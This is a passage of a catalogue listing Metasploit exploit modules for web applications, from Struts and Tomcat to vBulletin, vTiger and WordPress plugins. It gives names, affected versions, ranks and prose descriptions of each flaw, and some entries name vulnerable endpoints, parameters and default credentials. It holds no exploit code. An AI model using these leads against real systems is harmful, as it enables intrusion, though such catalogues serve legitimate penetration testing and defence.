     Module: exploit/multi/http/struts_dev_mode
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-06

Payload information:

Description:
  This module exploits a remote command execution vulnerability in
Apache
  Struts 2. The problem exists on applications running in developer
mode,
  where the DebuggingInterceptor allows evaluation and execution of
OGNL
  expressions, which allows remote attackers to execute arbitrary Java
  code. This module has been tested successfully on Struts 2.3.16,
Tomcat
  7 and Ubuntu 10.04.

End Exploit Number 829

Begin Exploit Number 830
       Name: Apache Struts Dynamic Method Invocation Remote Code
Execution
     Module: exploit/multi/http/struts_dmi_exec
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-27

Payload information:

Description:
  This module exploits a remote command execution vulnerability in
Apache Struts
  version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2).
Remote Code
  Execution can be performed via method: prefix when Dynamic Method
Invocation
  is enabled.

End Exploit Number 830

Begin Exploit Number 831
       Name: Apache Struts REST Plugin With Dynamic Method Invocation
Remote Code Execution
     Module: exploit/multi/http/struts_dmi_rest_exec
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2016-06-01

Payload information:

Description:
  This module exploits a remote command execution vulnerability in 
Apache Struts
  version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). 
Remote Code
  Execution can be performed when using REST Plugin with ! operator 
when
  Dynamic Method Invocation is enabled.

End Exploit Number 831

Begin Exploit Number 832
       Name: Apache Struts includeParams Remote Code Execution
     Module: exploit/multi/http/struts_include_params
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-05-24

Payload information:

Description:
  This module exploits a remote command execution vulnerability in 
Apache Struts
  versions < 2.3.14.2. A specifically crafted request parameter can be 
used to inject
  arbitrary OGNL code into the stack bypassing Struts and OGNL library 
protections.
  When targeting an action which requires interaction through GET, the 
payload should
  be split, taking into account the URI limits. In this case, if the 
rendered JSP has
  more than one point of injection, it could result in payload 
corruption. This should
  happen only when the payload is larger than the URI length.

End Exploit Number 832

Begin Exploit Number 833
       Name: STUNSHELL Web Shell Remote PHP Code Execution
     Module: exploit/multi/http/stunshell_eval
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-03-23

Payload information:
  Space: 10000

Description:
  This module exploits unauthenticated versions of the "STUNSHELL" web
shell.
  This module works when safe mode is enabled on the web server. This
shell is widely
  used in automated RFI payloads.

End Exploit Number 833

Begin Exploit Number 834
       Name: STUNSHELL Web Shell Remote Code Execution
     Module: exploit/multi/http/stunshell_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-03-23

Payload information:
  Space: 10000
  Avoid: 0 characters

Description:
  This module exploits unauthenticated versions of the "STUNSHELL" web
shell.
  This module works when safe mode is disabled on the web server.
This shell is
  widely used in automated RFI payloads.

End Exploit Number 834

Begin Exploit Number 835
       Name: Intelliants Subrion CMS 4.2.1 - Authenticated File Upload
Bypass to RCE
     Module: exploit/multi/http/subrion_cms_file_upload_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-11-04
```

```
Payload information:

Description:
  This module exploits an authenticated file upload vulnerability in
  Subrion CMS versions 4.2.1 and lower. The vulnerability is caused by
  the .htaccess file not preventing the execution of .pht, .phar, and
  .xhtml files. Files with these extensions are not included in the
  .htaccess blacklist, hence these files can be uploaded and executed
  to achieve remote code execution. In this module, a .phar file with
  a randomized name is uploaded and executed to receive a Meterpreter
  session on the target, then deletes itself afterwards.

End Exploit Number 835

Begin Exploit Number 836
       Name: SugarCRM unauthenticated Remote Code Execution (RCE)
     Module: exploit/multi/http/sugarcrm_webshell_cve_2023_22952
   Platform: Unix, Linux, PHP
       Arch: cmd, php, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-12-28

Payload information:

Description:
  This module exploits CVE-2023-22952, a Remote Code Execution (RCE)
vulnerability in SugarCRM 11.0 Enterprise,
  Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and
SugarCRM 12.0 Enterprise, Sell, and
  Serve versions prior to 12.0.2.

  The vulnerability occurs due to a lack of appropriate validation
when uploading a malicious PNG file with
  embedded PHP code to the /cache/images/ directory on the web server
using the vulnerable endpoint
  /index.php?module=EmailTemplates&action=AttachFiles. Once uploaded
to the server, depending on server configuration,
  the attacker can access the malicious PNG file via HTTP or HTTPS,
thereby executing the malicious PHP code and
  gaining access to the system.

  This vulnerability does not require authentication because there is
a missing authentication check in the
  loadUser() method in include/MVC/SugarApplication.php. After a
failed login, the session does not get
  destroyed and hence the attacker can continue to send valid requests
to the application.
```

```
  Because of this, any remote attacker, regardless of authentication,
can exploit this vulnerability to gain
  access to the underlying operating system as the user that the web
services are running as (typically www-data).

End Exploit Number 836

Begin Exploit Number 837
       Name: Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
     Module: exploit/multi/http/sun_jsws_dav_options
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-01-20

Payload information:
  Space: 2000
  Avoid: 32 characters

Description:
  This module exploits a buffer overflow in Sun Java Web Server prior
to
  version 7 Update 8. By sending an "OPTIONS" request with an overly
long
  path, attackers can execute arbitrary code. In order to reach the
vulnerable
  code, the attacker must also specify the path to a directory with
WebDAV
  enabled.

  This exploit was tested and confirmed to work on Windows XP SP3
without DEP.
  Versions for other platforms are vulnerable as well.

  The vulnerability was originally discovered and disclosed by Evgeny
Legerov of
  Intevydis.

End Exploit Number 837

Begin Exploit Number 838
       Name: SysAid Help Desk Administrator Portal Arbitrary File
Upload
     Module: exploit/multi/http/sysaid_auth_file_upload
   Platform: Linux, Windows
       Arch: x86
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-06-03

Payload information:

Description:
  This module exploits a file upload vulnerability in SysAid Help
Desk.
  The vulnerability exists in the ChangePhoto.jsp in the administrator
portal,
  which does not correctly handle directory traversal sequences and
does not
  enforce file extension restrictions. While an attacker needs an
administrator
  account in order to leverage this vulnerability, there is a related
Metasploit
  auxiliary module which can create this account under some
circumstances.
  This module has been tested in SysAid v14.4 in both Linux and
Windows.

End Exploit Number 838

Begin Exploit Number 839
       Name: SysAid Help Desk 'rdslogs' Arbitrary File Upload
     Module: exploit/multi/http/sysaid_rdslogs_file_upload
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-06-03

Payload information:

Description:
  This module exploits a file upload vulnerability in SysAid Help Desk
v14.3 and v14.4.
  The vulnerability exists in the RdsLogsEntry servlet which accepts
unauthenticated
  file uploads and handles zip file contents in an insecure way. By
combining both weaknesses,
  a remote attacker can accomplish remote code execution. Note that
this will only work if the
  target is running Java 6 or 7 up to 7u25, as Java 7u40 and above
introduces a protection
  against null byte injection in file names. This module has been
tested successfully on version
  v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also
```

```
works on Windows, but SysAid
  seems to bundle Java 7u40 and above with the Windows package which
prevents the vulnerability
  from being exploited.

End Exploit Number 839

Begin Exploit Number 840
       Name: TestLink v1.9.3 Arbitrary File Upload Vulnerability
     Module: exploit/multi/http/testlink_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-13

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in TestLink version 1.9.3 or
prior.
  This application has an upload feature that allows any authenticated
  user to upload arbitrary files to the '/upload_area/
nodes_hierarchy/'
  directory with a randomized file name. The file name can be
retrieved from
  the database using SQL injection.

End Exploit Number 840

Begin Exploit Number 841
       Name: Tomcat RCE via JSP Upload Bypass
     Module: exploit/multi/http/tomcat_jsp_upload_bypass
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-10-03

Payload information:

Description:
  This module uses a PUT request bypass to upload a jsp shell to a
vulnerable Apache Tomcat configuration.

End Exploit Number 841
```

```
Begin Exploit Number 842
       Name: Apache Tomcat Manager Application Deployer Authenticated
Code Execution
     Module: exploit/multi/http/tomcat_mgr_deploy
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-11-09

Payload information:

Description:
  This module can be used to execute a payload on Apache Tomcat
servers that
  have an exposed "manager" application. The payload is uploaded as a
WAR archive
  containing a jsp application using a PUT request.

  The manager application can also be abused using /manager/html/
upload, but that
  method is not implemented in this module.

  NOTE: The compatible payload sets vary based on the selected target.
For
  example, you must select the Windows target to use native Windows
payloads.

End Exploit Number 842

Begin Exploit Number 843
       Name: Apache Tomcat Manager Authenticated Upload Code Execution
     Module: exploit/multi/http/tomcat_mgr_upload
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-11-09

Payload information:

Description:
  This module can be used to execute a payload on Apache Tomcat
servers that
  have an exposed "manager" application. The payload is uploaded as a
WAR archive
  containing a jsp application using a POST request against the /
manager/html/upload
```

```
  component.

  NOTE: The compatible payload sets vary based on the selected target.
For
  example, you must select the Windows target to use native Windows
payloads.

End Exploit Number 843

Begin Exploit Number 844
       Name: PyTorch Model Server Registration and Deserialization RCE
     Module: exploit/multi/http/torchserver_cve_2023_43654
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-03

Payload information:

Description:
  The PyTorch model server contains multiple vulnerabilities that can
be chained together to permit an
  unauthenticated remote attacker arbitrary Java code execution. The
first vulnerability is that the management
  interface is bound to all IP addresses and not just the loop back
interface as the documentation suggests. The
  second vulnerability (CVE-2023-43654) allows attackers with access
to the management interface to register MAR
  model files from arbitrary servers. The third vulnerability is that
when an MAR file is loaded, it can contain a
  YAML configuration file that when deserialized by snakeyaml, can
lead to loading an arbitrary Java class.

End Exploit Number 844

Begin Exploit Number 845
       Name: Total.js CMS 12 Widget JavaScript Code Injection
     Module: exploit/multi/http/totaljs_cms_widget_exec
   Platform: 
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-08-30

Payload information:

Description:
  This module exploits a vulnerability in Total.js CMS. The issue is
that a user with
  admin permission can embed a malicious JavaScript payload in a
widget, which is
  evaluated server side, and gain remote code execution.

End Exploit Number 845

Begin Exploit Number 846
       Name: Traq admincp/common.php Remote Code Execution
     Module: exploit/multi/http/traq_plugin_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-12-12

Payload information:
  Space: 4000

Description:
  This module exploits an arbitrary command execution vulnerability in
  Traq 2.0 to 2.3. It's in the admincp/common.php script.

  This function is called in each script located in the /admicp/
directory to
  make sure the user has admin rights. This is a broken authorization
schema
  because the header() function doesn't stop the execution flow.
  This can be exploited by malicious users to execute admin
functionality,
  e.g. execution of arbitrary PHP code leveraging of plugins.php
functionality.

End Exploit Number 846

Begin Exploit Number 847
       Name: Trend Micro Threat Discovery Appliance admin_sys_time.cgi
Remote Command Execution
     Module: exploit/multi/http/
trendmicro_threat_discovery_admin_sys_time_cmdi
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-10

Payload information:
```

```
Description:
  This module exploits two vulnerabilities the Trend Micro Threat
Discovery Appliance.
  The first is an authentication bypass vulnerability via a file
delete in logoff.cgi
  which resets the admin password back to 'admin' upon a reboot
(CVE-2016-7552).
  The second is a cmdi flaw using the timezone parameter in the
admin_sys_time.cgi
  interface (CVE-2016-7547).

  Note: You have the option to use the authentication bypass or not
since it requires
  that the server is rebooted. The password reset will render the
authentication useless.
  Typically, if an administrator cant login, they will bounce the box.
Therefore, this
  module performs a heartbeat request until the box is bounced and
then attempts to login
  and to perform the command injection. This module has been tested on
version 2.6.1062r1
  of the appliance.

End Exploit Number 847

Begin Exploit Number 848
       Name: UniFi Network Application Unauthenticated JNDI Injection
RCE (via Log4Shell)
     Module: exploit/multi/http/ubiquiti_unifi_log4shell
   Platform:
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-09

Payload information:

Description:
  The Ubiquiti UniFi Network Application versions 5.13.29 through
6.5.53 are affected by the Log4Shell
  vulnerability whereby a JNDI string can be sent to the server via
the 'remember' field of a POST request to the
  /api/login endpoint that will cause the server to connect to the
attacker and deserialize a malicious Java
  object. This results in OS command execution in the context of the
server application.

  This module will start an LDAP server that the target will need to
```

```
connect to.

End Exploit Number 848

Begin Exploit Number 849
       Name: Idera Up.Time Monitoring Station 7.0 post2file.php
Arbitrary File Upload
     Module: exploit/multi/http/uptime_file_upload_1
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-11-19

Payload information:
  Space: 10000

Description:
  This module exploits an arbitrary file upload vulnerability found
within the Up.Time
  monitoring server 7.2 and below. A malicious entity can upload a PHP
file into the
  webroot without authentication, leading to arbitrary code execution.

  Although the vendor fixed Up.Time to prevent this vulnerability, it
was not properly
  mitigated. To exploit against a newer version of Up.Time (such as
7.4), please use
  exploits/multi/http/uptime_file_upload_2.

End Exploit Number 849

Begin Exploit Number 850
       Name: Idera Up.Time Monitoring Station 7.4 post2file.php
Arbitrary File Upload
     Module: exploit/multi/http/uptime_file_upload_2
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-11-18

Payload information:

Description:
  This module exploits a vulnerability found in Uptime version 7.4.0
and 7.5.0.
```

```
  The vulnerability began as a classic arbitrary file upload
vulnerability in post2file.php,
  which can be exploited by exploits/multi/http/
uptime_file_upload_1.rb, but it was mitigated
  by the vendor.

  Although the mitigation in place will prevent
uptime_file_upload_1.rb from working, it
  can still be bypassed and gain privilege escalation, and allows the
attacker to upload file
  again, and execute arbitrary commands.

End Exploit Number 850

Begin Exploit Number 851
       Name: v0pCr3w Web Shell Remote Code Execution
     Module: exploit/multi/http/v0pcr3w_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-03-23

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a lack of authentication in the shell developed
by v0pCr3w
  and is widely reused in automated RFI payloads. This module takes
advantage of the
  shell's various methods to execute commands.

End Exploit Number 851

Begin Exploit Number 852
       Name: vBSEO proc_deutf() Remote PHP Code Injection
     Module: exploit/multi/http/vbseo_proc_deutf
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-23

Payload information:
  Space: 8190
```

```
Description:
  This module exploits a vulnerability in the 'proc_deutf()' function
  defined in /includes/functions_vbseocp_abstract.php for vBSEO
versions
  3.6.0 and earlier. User input passed through 'char_repl' POST
parameter
  isn't properly sanitized before being used in a call to
preg_replace()
  function which uses the 'e' modifier. This can be exploited to
inject
  and execute arbitrary code leveraging the PHP's complex curly
syntax.

End Exploit Number 852

Begin Exploit Number 853
       Name: vBulletin /ajax/api/content_infraction/
getIndexableContent nodeid Parameter SQL Injection
     Module: exploit/multi/http/vbulletin_getindexablecontent
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-03-12

Payload information:

Description:
  This module exploits a SQL injection vulnerability found in
vBulletin 5.6.1 and earlier
  This module uses the getIndexableContent vulnerability to reset the
administrators password,
  it then uses the administrators login information to achieve RCE on
the target. This module
  has been tested successfully on VBulletin Version 5.6.1 on Ubuntu
Linux distribution.

End Exploit Number 853

Begin Exploit Number 854
       Name: vBulletin 5.1.2 Unserialize Code Execution
     Module: exploit/multi/http/vbulletin_unserialize
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-11-04
```

```
Payload information:
  Avoid: 1 characters

Description:
  This module exploits a PHP object injection vulnerability in
vBulletin 5.1.2 to 5.1.9

End Exploit Number 854

Begin Exploit Number 855
       Name: vBulletin 5.x /ajax/render/
widget_tabbedcontainer_tab_panel PHP remote code execution.
     Module: exploit/multi/http/vbulletin_widget_template_rce
   Platform: PHP, Unix, Windows
       Arch: cmd, php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-08-09

Payload information:

Description:
  This module exploits a logic bug within the template rendering code
in vBulletin 5.x.
  The module uses the vBulletin template rendering functionality to
render the
  'widget_tabbedcontainer_tab_panel' template while also providing the
'widget_php' argument.
  This causes the former template to load the latter bypassing filters
originally put in place
  to address 'CVE-2019-16759'. This also allows the exploit to reach
an eval call with user input
  allowing the module to achieve PHP remote code execution on the
target. This module has been
  tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.

End Exploit Number 855

Begin Exploit Number 856
       Name: vBulletin widgetConfig RCE
     Module: exploit/multi/http/vbulletin_widgetconfig_rce
   Platform: PHP, Unix, Windows
       Arch: cmd, php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-09-23

Payload information:
  Avoid: 1 characters

Description:
  vBulletin 5.x through 5.5.4 allows remote command execution via the
widgetConfig[code]
  parameter in an ajax/render/widget_php routestring POST request.

End Exploit Number 856

Begin Exploit Number 857
       Name: Visual Mining NetCharts Server Remote Code Execution
     Module: exploit/multi/http/visual_mining_netcharts_upload
   Platform: Linux, Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-11-03

Payload information:

Description:
  This module exploits multiple vulnerabilities in Visual Mining
NetCharts.
  First, a lack of input validation in the administration console
permits
  arbitrary jsp code upload to locations accessible later through the
web
  service. Authentication is typically required, however a 'hidden'
user is
  available by default (and non-editable). This user, named
'Scheduler',
  can only login to the console after any modification in the user
  database (a user is added, admin password is changed etc). If the
  'Scheduler' user isn't available valid credentials must be supplied.
The
  default Admin password is Admin.

End Exploit Number 857

Begin Exploit Number 858
       Name: VMware vCenter Server Unauthenticated JNDI Injection RCE
(via Log4Shell)
     Module: exploit/multi/http/vmware_vcenter_log4shell
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-12-09
```

```
Payload information:

Description:
  VMware vCenter Server is affected by the Log4Shell vulnerability
whereby a JNDI string can sent to the server
  that will cause it to connect to the attacker and deserialize a
malicious Java object. This results in OS
  command execution in the context of the root user in the case of the
Linux virtual appliance and SYSTEM on
  Windows.

  This module will start an LDAP server that the target will need to
connect to. This exploit uses the logon page
  vector.

End Exploit Number 858

Begin Exploit Number 859
       Name: VMware vCenter Server Unauthenticated OVA File Upload RCE
     Module: exploit/multi/http/vmware_vcenter_uploadova_rce
   Platform: Linux, Windows
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2021-02-23

Payload information:

Description:
  This module exploits an unauthenticated OVA file upload and path
  traversal in VMware vCenter Server to write a JSP payload to a
  web-accessible directory.

  Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
  Note that later vulnerable versions of the Linux appliance aren't
  exploitable via the webshell technique. Furthermore, writing an SSH
  public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
  user's non-existent password expires 90 days after install,
rendering
  the technique nearly useless against production environments.

  You'll have the best luck targeting older versions of the Linux
  appliance. The Windows target should work ubiquitously.

End Exploit Number 859

Begin Exploit Number 860
       Name: Vtiger Install Unauthenticated Remote Command Execution
     Module: exploit/multi/http/vtiger_install_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-03-05

Payload information:
  Space: 4000
  Avoid: 1 characters

Description:
  This module exploits an arbitrary command execution vulnerability in 
the
  Vtiger install script. This module is set to ManualRanking due to 
this
  module overwriting the target database configuration, which may 
result in
  a broken web app, and you may not be able to get a session again.

End Exploit Number 860

Begin Exploit Number 861
       Name: Vtiger CRM - Authenticated Logo Upload RCE
     Module: exploit/multi/http/vtiger_logo_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-09-28

Payload information:

Description:
  Vtiger 6.3.0 CRM's administration interface allows for the upload of 
a company logo.
  Instead of uploading an image, an attacker may choose to upload a 
file containing PHP code and
  run this code by accessing the resulting PHP file.

  This module was tested against vTiger CRM v6.3.0.

End Exploit Number 861

Begin Exploit Number 862
       Name: vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code 
Execution
     Module: exploit/multi/http/vtiger_php_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-30

Payload information:
  Avoid: 5 characters

Description:
  vTiger CRM allows an authenticated user to upload files to embed 
within documents.
  Due to insufficient privileges on the 'files' upload folder, an 
attacker can upload a PHP
  script and execute arbitrary PHP code remotely.

  This module was tested against vTiger CRM v5.4.0 and v5.3.0.

End Exploit Number 862

Begin Exploit Number 863
       Name: vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload
     Module: exploit/multi/http/vtiger_soap_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-03-26

Payload information:
  Space: 262144

Description:
  vTiger CRM allows a user to bypass authentication when requesting 
SOAP services.
  In addition, arbitrary file upload is possible through the 
AddEmailAttachment SOAP
  service. By combining both vulnerabilities an attacker can upload 
and execute PHP
  code. This module has been tested successfully on vTiger CRM v5.4.0 
over Ubuntu
  10.04 and Windows 2003 SP2.

End Exploit Number 863

Begin Exploit Number 864
       Name: Oracle WebLogic Server Administration Console Handle RCE
     Module: exploit/multi/http/weblogic_admin_handle_rce
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-20

Payload information:

Description:
  This module exploits a path traversal and a Java class instantiation
  in the handle implementation of WebLogic's Administration Console to
  execute code as the WebLogic user.

  Versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, and
  14.1.1.0.0 are known to be affected.

  Tested against 12.2.1.3.0 from Vulhub (Linux) and on Windows.

  Warning! Multiple sessions may be created by exploiting this vuln.

End Exploit Number 864

Begin Exploit Number 865
       Name: WebNMS Framework Server Arbitrary File Upload
     Module: exploit/multi/http/webnms_file_upload
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-07-04

Payload information:

Description:
  This module abuses a vulnerability in WebNMS Framework Server 5.2
that allows an
  unauthenticated user to upload text files by using a directory
traversal attack
  on the FileUploadServlet servlet. A JSP file can be uploaded that
then drops and
  executes a malicious payload, achieving code execution under the
user which the
  WebNMS server is running.
  This module has been tested with WebNMS Framework Server 5.2 and 5.2
SP1 on
  Windows and Linux.

End Exploit Number 865
```

```
Begin Exploit Number 866
       Name: WebPageTest Arbitrary PHP File Upload
     Module: exploit/multi/http/webpagetest_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-13

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in WebPageTest's Upload 
Feature. By
  default, the resultimage.php file does not verify the user-supplied 
item before
  saving it to disk, and then places this item in the web directory 
accessible by
  remote users.  This flaw can be abused to gain remote code 
execution.

End Exploit Number 866

Begin Exploit Number 867
       Name: Werkzeug Debug Shell Command Execution
     Module: exploit/multi/http/werkzeug_debug_rce
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-06-28

Payload information:

Description:
  This module will exploit the Werkzeug debug console to put down a
  Python shell. This debugger "must never be used on production
  machines" but sometimes slips passed testing.

  Tested against:
    0.9.6 on Debian
    0.9.6 on Centos
    0.10  on Debian

End Exploit Number 867
```

```
Begin Exploit Number 868
       Name: WikkaWiki 1.3.2 Spam Logging PHP Injection
     Module: exploit/multi/http/wikka_spam_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-30

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in WikkaWiki.  When the 
spam logging
  feature is enabled, it is possible to inject PHP code into the spam 
log file via the
  UserAgent header, and then request it to execute our payload.  There 
are at least
  three different ways to trigger spam protection, this module does so 
by generating
  10 fake URLs in a comment (by default, the max_new_comment_urls 
parameter is 6).

    Please note that in order to use the injection, you must manually 
pick a page
  first that allows you to add a comment, and then set it as 'PAGE'.

End Exploit Number 868

Begin Exploit Number 869
       Name: WordPress AIT CSV Import Export Unauthenticated Remote 
Code Execution
     Module: exploit/multi/http/wp_ait_csv_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-14

Payload information:

Description:
  The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated 
remote attackers to upload and
  execute arbitrary PHP code.  The upload-handler does not require 
authentication, nor validates
  the uploaded content.  It may return an error when attempting to
```

```
parse a CSV, however the
  uploaded shell is left.  The shell is uploaded to wp-content/
uploads/.  The plugin is not
  required to be activated to be exploitable.

End Exploit Number 869

Begin Exploit Number 870
       Name: WordPress Backup Migration Plugin PHP Filter Chain RCE
     Module: exploit/multi/http/wp_backup_migration_php_filter
   Platform: Unix, Linux, Windows, PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-12-11

Payload information:

Description:
  This module exploits an unauth RCE in the WordPress plugin: Backup
Migration (<= 1.3.7).  The vulnerability is
  exploitable through the Content-Dir header which is sent to the /wp-
content/plugins/backup-backup/includes/backup-heart.php endpoint.

  The exploit makes use of a neat technique called PHP Filter Chaining
which allows an attacker to prepend
  bytes to a string by continuously chaining character encoding
conversions. This allows an attacker to prepend
  a PHP payload to a string which gets evaluated by a require
statement, which results in command execution.

End Exploit Number 870

Begin Exploit Number 871
       Name: Unauthenticated RCE in Bricks Builder Theme
     Module: exploit/multi/http/wp_bricks_builder_rce
   Platform: Unix, Linux, Windows, PHP
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-02-19

Payload information:

Description:
  This module exploits an unauthenticated remote code execution
vulnerability in the
  Bricks Builder Theme versions <= 1.9.6 for WordPress. The
```

```
vulnerability allows attackers
  to execute arbitrary PHP code by leveraging a nonce leakage to
bypass authentication and
  exploit the eval() function usage within the theme. Successful
exploitation allows for full
  control of the affected WordPress site. It is recommended to upgrade
to version 1.9.6.1 or higher.

End Exploit Number 871

Begin Exploit Number 872
       Name: Wordpress Plugin Catch Themes Demo Import RCE
     Module: exploit/multi/http/wp_catch_themes_demo_import
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-10-21

Payload information:

Description:
  The Wordpress Plugin Catch Themes Demo Import versions < 1.8 are
vulnerable to authenticated
  arbitrary file uploads via the import functionality found in the
  ~/inc/CatchThemesDemoImport.php file, due to insufficient file type
validation.
  Re-exploitation may need a reboot of the server, or to wait an
arbitrary timeout.
  During testing this timeout was roughly 5min.

End Exploit Number 872

Begin Exploit Number 873
       Name: WordPress Crop-image Shell Upload
     Module: exploit/multi/http/wp_crop_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-02-19

Payload information:

Description:
  This module exploits a path traversal and a local file inclusion
  vulnerability on WordPress versions 5.0.0 and <= 4.9.8.
  The crop-image function allows a user, with at least author
```

```
privileges,
  to resize an image and perform a path traversal by changing the
_wp_attached_file
  reference during the upload. The second part of the exploit will
include
  this image in the current theme by changing the _wp_page_template
attribute
  when creating a post.

  This exploit module only works for Unix-based systems currently.

End Exploit Number 873

Begin Exploit Number 874
       Name: WP Database Backup RCE
     Module: exploit/multi/http/wp_db_backup_rce
   Platform: Windows, Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-24

Payload information:

Description:
  There exists a command injection vulnerability in the Wordpress
plugin
  `wp-database-backup` for versions < 5.2.

  For the backup functionality, the plugin generates a `mysqldump`
command
  to execute. The user can choose specific tables to exclude from the
backup
  by setting the `wp_db_exclude_table` parameter in a POST request to
the
  `wp-database-backup` page. The names of the excluded tables are
included in
  the `mysqldump` command unsanitized. Arbitrary commands injected
through the
  `wp_db_exclude_table` parameter are executed each time the
functionality
  for creating a new database backup are run.

  Authentication is required to successfully exploit this
vulnerability.

End Exploit Number 874

Begin Exploit Number 875
```

```
       Name: Wordpress Drag and Drop Multi File Uploader RCE
     Module: exploit/multi/http/wp_dnd_mul_file_rce
   Platform: PHP
       Arch: php
